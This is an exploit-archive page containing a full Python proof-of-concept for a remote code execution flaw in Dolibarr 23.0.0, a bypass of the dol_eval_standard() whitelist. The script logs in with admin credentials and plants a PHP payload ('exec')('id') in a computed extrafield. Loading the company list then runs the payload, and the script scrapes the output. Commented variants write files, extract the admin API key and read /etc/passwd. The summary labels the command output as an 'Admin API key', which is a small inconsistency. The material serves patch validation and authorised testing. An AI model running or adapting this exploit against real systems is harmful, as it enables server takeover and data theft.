Share
## https://sploitus.com/exploit?id=PACKETSTORM:218534
#!/usr/bin/env python3
    """
    Dolibarr 23.0.0 dol_eval_standard() Whitelist Bypass by Jiva (JivaSecurity.com)
    Proof of Concept โ€” AUTHORIZED TESTING ONLY
    
    The whitelist mode of dol_eval_standard() does not apply $forbiddenphpstrings
    checks, and the function-call regex does not detect PHP dynamic callable syntax.
    This allows ('exec')('cmd') to bypass all validation and reach eval().
    
    Demonstrated impacts:
      - Arbitrary file creation via new SplFileObject()
      - Database exfiltration via Dolibarr ORM model classes
      - OS command execution via ('exec')('cmd')
    
    Usage: python3 dolibarr_pwn.py [--target URL] [--command CMD]
    """
    
    import argparse
    import re
    import sys
    import urllib.parse
    
    try:
        import requests
    except ImportError:
        print("[!] ERROR: 'requests' library required. Install with: pip install requests")
        sys.exit(1)
    
    
    class DolibarrRCEExploit:
        """Exploits dol_eval_standard() whitelist bypass via computed extrafields."""
    
        EXTRAFIELD_NAME = "jiva_rce_poc"
        EXTRAFIELD_LABEL = "JivaRcePoc"
        EXTRAFIELD_PATH = "/societe/admin/societe_extrafields.php"
        TRIGGER_PATH = "/societe/list.php"
    
        def __init__(self, target, username, password, verify_ssl=False, verbose=False):
            self.target = target.rstrip("/")
            self.username = username
            self.password = password
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = verify_ssl
            self.csrf_token = None
            self.exfiltrated_value = None
    
        def log(self, level, msg):
            prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
            if level == "debug" and not self.verbose:
                return
            print(f"{prefix.get(level, '[?]')} {msg}")
    
        def _extract_csrf_token(self, html):
            """Extract CSRF token from HTML page."""
            match = re.search(r'name="token"\s+value="([^"]+)"', html)
            if not match:
                match = re.search(r'meta\s+name="anti-csrf-newtoken"\s+content="([^"]+)"', html)
            if match:
                return match.group(1)
            return None
    
        def step1_authenticate(self):
            """Authenticate to Dolibarr web UI and establish a session."""
            self.log("info", f"Authenticating to {self.target} as '{self.username}'...")
    
            # Get login page for initial CSRF token and session cookie
            resp = self.session.get(f"{self.target}/index.php", allow_redirects=False)
            if resp.status_code != 200:
                self.log("error", f"Failed to reach login page (HTTP {resp.status_code})")
                return False
    
            self.csrf_token = self._extract_csrf_token(resp.text)
            if not self.csrf_token:
                self.log("error", "Could not extract CSRF token from login page")
                return False
            self.log("debug", f"CSRF token: {self.csrf_token}")
    
            # POST login
            login_data = {
                "token": self.csrf_token,
                "actionlogin": "login",
                "loginfunction": "loginfunction",
                "username": self.username,
                "password": self.password,
            }
            resp = self.session.post(
                f"{self.target}/index.php?mainmenu=home",
                data=login_data,
                allow_redirects=True,
            )
    
            # Check for successful login indicators
            if "logout" in resp.text.lower() or "mainmenu" in resp.text.lower():
                self.log("success", "Authentication successful")
                return True
    
            self.log("error", "Authentication failed โ€” check credentials")
            return False
    
        def step2_get_csrf_token(self):
            """Fetch the extrafields admin page and extract a fresh CSRF token."""
            self.log("info", "Fetching extrafields admin page for CSRF token...")
            resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
            if resp.status_code != 200:
                self.log("error", f"Failed to load extrafields page (HTTP {resp.status_code})")
                return False
    
            self.csrf_token = self._extract_csrf_token(resp.text)
            if not self.csrf_token:
                self.log("error", "Could not extract CSRF token from extrafields page")
                return False
    
            self.log("debug", f"Fresh CSRF token: {self.csrf_token}")
    
            # Check if our extrafield already exists
            self._extrafield_exists = self.EXTRAFIELD_NAME in resp.text
            self.log("debug", f"Extrafield '{self.EXTRAFIELD_NAME}' exists: {self._extrafield_exists}")
            return True
    
        def step3_create_extrafield(self, payload):
            """Create or update a computed extrafield with the exploit payload."""
            action = "update" if self._extrafield_exists else "add"
            self.log("info", f"{'Updating' if self._extrafield_exists else 'Creating'} "
                     f"computed extrafield '{self.EXTRAFIELD_NAME}'...")
            self.log("info", f"Payload: {payload}")
    
            form_data = {
                "token": self.csrf_token,
                "action": action,
                "attrname": self.EXTRAFIELD_NAME,
                "label": self.EXTRAFIELD_LABEL,
                "type": "varchar",
                "size": "255",
                "pos": "200",
                "computed_value": payload,
                "list": "1",
                "button": "Add attribute" if action == "add" else "Modify",
            }
    
            resp = self.session.post(
                f"{self.target}{self.EXTRAFIELD_PATH}",
                data=form_data,
                allow_redirects=False,
            )
    
            if resp.status_code == 302:
                self.log("success", f"Extrafield {action}d successfully (302 redirect)")
                return True
    
            # Check for error in response body
            if "error" in resp.text.lower():
                self.log("error", f"Extrafield {action} may have failed โ€” check response")
                self.log("debug", resp.text[:500])
                return False
    
            self.log("success", f"Extrafield {action} returned HTTP {resp.status_code}")
            return True
    
        def step4_trigger_eval(self):
            """Trigger dol_eval() by loading the company list page."""
            self.log("info", f"Triggering eval via {self.TRIGGER_PATH}...")
            resp = self.session.get(f"{self.target}{self.TRIGGER_PATH}")
            if resp.status_code != 200:
                self.log("error", f"Trigger page returned HTTP {resp.status_code}")
                return None
    
            # Extract computed field value from rendered HTML
            # Pattern: data-key="societe.jiva_rce_poc" title="VALUE"
            pattern = (
                r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
                + r'"[^>]*title="([^"]*)"'
            )
            matches = re.findall(pattern, resp.text)
            if matches:
                self.exfiltrated_value = matches[0]
                self.log("success", f"Eval triggered โ€” extracted value: {self.exfiltrated_value}")
                return self.exfiltrated_value
    
            # Fallback: check for value in td content
            pattern2 = (
                r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
                + r'"[^>]*>([^<]+)<'
            )
            matches2 = re.findall(pattern2, resp.text)
            if matches2:
                self.exfiltrated_value = matches2[0].strip()
                self.log("success", f"Eval triggered โ€” extracted value: {self.exfiltrated_value}")
                return self.exfiltrated_value
    
            # Check for eval error messages
            if "Bad string syntax" in resp.text:
                self.log("error", "dol_eval() rejected the payload โ€” syntax check failed")
                err_match = re.search(r'Bad string syntax[^<]+', resp.text)
                if err_match:
                    self.log("debug", err_match.group(0))
                return None
    
            self.log("error", "Could not find computed field value in response")
            return None
    
        def step5_cleanup(self):
            """Delete the PoC extrafield to leave the target clean."""
            self.log("info", f"Cleaning up โ€” deleting extrafield '{self.EXTRAFIELD_NAME}'...")
    
            # Re-fetch page for fresh CSRF token
            resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
            token = self._extract_csrf_token(resp.text)
            if not token:
                self.log("error", "Could not get CSRF token for cleanup")
                return False
    
            delete_data = {
                "token": token,
                "action": "delete",
                "attrname": self.EXTRAFIELD_NAME,
            }
            resp = self.session.post(
                f"{self.target}{self.EXTRAFIELD_PATH}",
                data=delete_data,
                allow_redirects=False,
            )
            if resp.status_code == 302:
                self.log("success", "Extrafield deleted โ€” target cleaned up")
                return True
    
            self.log("error", f"Cleanup may have failed (HTTP {resp.status_code})")
            return False
    
        def run(self):
            """Execute the full exploit chain and return results."""
            print("=" * 70)
            print("Dolibarr dol_eval() Whitelist Bypass PoC - by Jiva (JivaSecurity.com)")
            print("=" * 70)
            print()
    
            # Step 1: Authenticate
            if not self.step1_authenticate():
                return False
    
            # Step 2: Get CSRF token from extrafields page
            if not self.step2_get_csrf_token():
                return False
    
            # Step 3: Create extrafield with DB exfiltration payload
            payload = (
                # "(new SplFileObject('/tmp/rce_proof', 'w')) ? 'file_created' : 'blocked'"
                # "(($var1 = new User($db)) && ($var1->fetchNoCompute(1) > 0)) ? $var1->api_key : 'failed'"
                "('exec')('id')"
                # "('exec')('id && hostname && cat /etc/passwd | head -5')"
            )
    
            if not self.step3_create_extrafield(payload):
                return False
    
            # Step 4: Trigger eval and extract result
            result = self.step4_trigger_eval()
            if result is None:
                self.log("error", "Exploitation failed โ€” eval did not return expected output")
                self.step5_cleanup()
                return False
    
            # Step 5: Cleanup
            self.step5_cleanup()
    
            # Print summary
            print()
            print("=" * 70)
            print("EXPLOITATION SUMMARY")
            print("=" * 70)
            print(f"  Target:          {self.target}")
            print(f"  Vulnerability:   dol_eval() whitelist bypass")
            print(f"  Author:          Jiva (JivaSecurity.com)")
            print(f"  Writeup:         https://jivasecurity.com/writeups/dolibarr-remote-code-execution-cve-2026-22666")
            print(f"  CVE:             CVE-2026-22666 (Dolibarr 23.0.0 dol_eval_standard)")
            print(f"  CVSS:            9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)")
            print(f"  Payload:         {payload}")
            print(f"  Exfiltrated:     Admin API key = {result}")
            print(f"  Impact:          Arbitrary PHP eval in whitelist mode allows")
            print(f"                   class instantiation (SplFileObject, User, etc.)")
            print(f"                   leading to file write and full DB read access.")
            print("=" * 70)
    
            if result == "FETCH_FAILED":
                self.log("error", "Payload executed but fetchNoCompute returned failure")
                return False
    
            return True
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="Dolibarr 23.0.0 dol_eval() whitelist bypass PoC by Jiva (JivaSecurity.com)",
            epilog="Authorized penetration testing and patch validation ONLY.",
        )
        parser.add_argument(
            "--target", "-t",
            default="http://0.0.0.0",
            help="Target Dolibarr URL (default: http://0.0.0.0)",
        )
        parser.add_argument(
            "--username", "-u",
            default="admin",
            help="Admin username (default: admin)",
        )
        parser.add_argument(
            "--password", "-p",
            default="admin",
            help="Admin password (default: admin)",
        )
        parser.add_argument(
            "--verbose", "-v",
            action="store_true",
            help="Enable verbose/debug output",
        )
        parser.add_argument(
            "--no-cleanup",
            action="store_true",
            help="Skip cleanup (leave extrafield in place for inspection)",
        )
        args = parser.parse_args()
    
        exploit = DolibarrRCEExploit(
            target=args.target,
            username=args.username,
            password=args.password,
            verbose=args.verbose,
        )
    
        success = exploit.run()
        sys.exit(0 if success else 1)
    
    
    if __name__ == "__main__":
        main()